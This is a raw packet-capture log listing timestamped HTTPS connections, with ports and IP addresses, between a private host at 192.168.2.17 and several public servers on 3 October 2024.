Oct 3, 2024 17:19:56.502248049 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.502619982 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.503343105 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.503417969 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.503601074 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.506052971 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.506278038 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.506292105 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.506778002 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.507110119 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.507190943 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.507239103 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.547404051 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.547406912 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.561250925 CEST	443	56116	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:56.561342001 CEST	443	56116	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:56.561391115 CEST	56116	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:56.562093019 CEST	56116	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:56.562108994 CEST	443	56116	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:56.565284014 CEST	56128	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.565327883 CEST	443	56128	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.565395117 CEST	56128	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.565679073 CEST	56128	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.565696001 CEST	443	56128	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.566350937 CEST	56129	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.566384077 CEST	443	56129	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.566438913 CEST	56129	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.566904068 CEST	56129	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.566917896 CEST	443	56129	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.629354954 CEST	443	56119	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.629511118 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:56.630486965 CEST	56119	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.630522013 CEST	443	56119	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.630548000 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:56.630556107 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:56.631607056 CEST	443	56119	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.631679058 CEST	56119	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.632035971 CEST	56119	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.632113934 CEST	443	56119	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.632257938 CEST	56119	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.632275105 CEST	443	56119	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.634126902 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:56.634203911 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:56.634324074 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.634522915 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:56.634665966 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.634677887 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.634702921 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:56.634753942 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:56.635911942 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.635982037 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.638391018 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.638415098 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.638478994 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.638537884 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.638590097 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.638607979 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.638691902 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.638700962 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.638742924 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.638751984 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.638865948 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.638906002 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.638962030 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.638968945 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.639060974 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.639069080 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.639286041 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.639341116 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.639348030 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.639502048 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.639554024 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.639564991 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.639604092 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.639604092 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.643037081 CEST	56130	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.643058062 CEST	443	56130	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.643135071 CEST	56130	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.643318892 CEST	56130	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.643333912 CEST	443	56130	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.643861055 CEST	56131	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.643898010 CEST	443	56131	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.643955946 CEST	56131	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.644195080 CEST	56131	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.644212008 CEST	443	56131	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.644404888 CEST	443	56120	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.645001888 CEST	56120	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.645010948 CEST	443	56120	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.646044970 CEST	443	56120	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.646106005 CEST	56120	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.646584988 CEST	56120	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.646646023 CEST	443	56120	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.646730900 CEST	56120	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.646740913 CEST	443	56120	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.653156042 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.653230906 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.653290033 CEST	56115	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.653615952 CEST	56115	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.653652906 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.656435966 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.656465054 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.656527996 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.656719923 CEST	56132	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.656733036 CEST	443	56132	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.673896074 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.673924923 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.674108028 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.674174070 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.674299002 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.674325943 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.674348116 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.674351931 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.674370050 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.674405098 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.675414085 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:56.677504063 CEST	56119	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.677565098 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:56.677577972 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:56.692480087 CEST	56120	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.692588091 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.724498987 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.724581003 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:56.736752987 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.736816883 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.736843109 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.736871004 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.736902952 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.736962080 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.737448931 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.761003971 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.761059046 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.761085033 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.761101961 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.761130095 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.761143923 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.761409998 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.761436939 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.761470079 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.761476040 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.761512995 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.762077093 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.762284040 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.762336016 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.762340069 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.762664080 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.762706995 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.762711048 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.804544926 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.804583073 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.823280096 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.823319912 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.823359013 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.823376894 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.823434114 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.823632956 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.823837996 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.823869944 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.823895931 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.823909044 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.823961973 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.824254990 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.824650049 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.824671030 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.824701071 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.824712992 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.824776888 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.825253010 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.835195065 CEST	443	56119	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.835361004 CEST	443	56119	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.835416079 CEST	56119	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.836168051 CEST	56119	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.836203098 CEST	443	56119	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.847528934 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.847574949 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.847595930 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.847611904 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.847671986 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.847760916 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.848226070 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.848280907 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.848293066 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.848721027 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.848750114 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.848777056 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.848789930 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.848839045 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.849082947 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.849627018 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.849658012 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.849680901 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.849692106 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.849739075 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.849750042 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.850200891 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.850256920 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.850266933 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.850727081 CEST	443	56120	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.850857019 CEST	443	56120	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.850903034 CEST	56120	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.851038933 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.851079941 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.851094961 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.851106882 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.851155996 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.851166010 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.851391077 CEST	56120	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.851406097 CEST	443	56120	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.851869106 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.851900101 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.851919889 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.851932049 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.851980925 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.851990938 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.852838993 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.852895975 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.852909088 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.900499105 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.910027981 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.910286903 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.910331964 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.910346031 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.910479069 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.910526037 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.910537958 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.911077976 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.911293983 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.911343098 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.911370039 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.911492109 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.911537886 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.911552906 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.912053108 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.912090063 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.912096977 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.912110090 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.912152052 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.912156105 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.912168026 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.912213087 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.912225008 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.912826061 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.912873030 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.912880898 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.912961006 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.913008928 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.913017035 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.913606882 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.913645029 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.913665056 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.913676977 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.913727999 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.913729906 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.913743019 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.913789988 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.913800001 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.914356947 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.914392948 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.914407015 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.914417982 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.914479971 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.914491892 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.934530020 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.934595108 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.934607983 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.934815884 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.934865952 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.934879065 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.935359001 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.935415983 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.935426950 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.935535908 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.935583115 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.935594082 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.936075926 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.936126947 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.936136961 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.936244011 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.936288118 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.936299086 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.936948061 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.937000036 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.937011003 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.937092066 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.937150002 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.937161922 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.937712908 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.937767029 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.937777996 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.938155890 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.938209057 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.938219070 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.938299894 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.938348055 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.938359022 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.938990116 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.939054012 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.939064980 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.939681053 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.939735889 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.939748049 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.940074921 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.940133095 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.940274954 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.940293074 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.951014042 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.951103926 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.951112986 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.981878042 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:56.982321978 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:56.982357025 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:56.983006954 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:56.983355045 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:56.983432055 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:56.983535051 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:56.996490955 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.999191046 CEST	443	56125	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.999600887 CEST	56125	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.999636889 CEST	443	56125	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.000791073 CEST	443	56125	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.000869989 CEST	56125	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:57.002823114 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.002954960 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.003004074 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:57.003012896 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.003226995 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.003272057 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:57.003281116 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.003720999 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.003784895 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:57.003952026 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:57.003966093 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.004018068 CEST	443	56125	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:57.004060030 CEST	56125	443	192.168.2.17	87.248.119.252
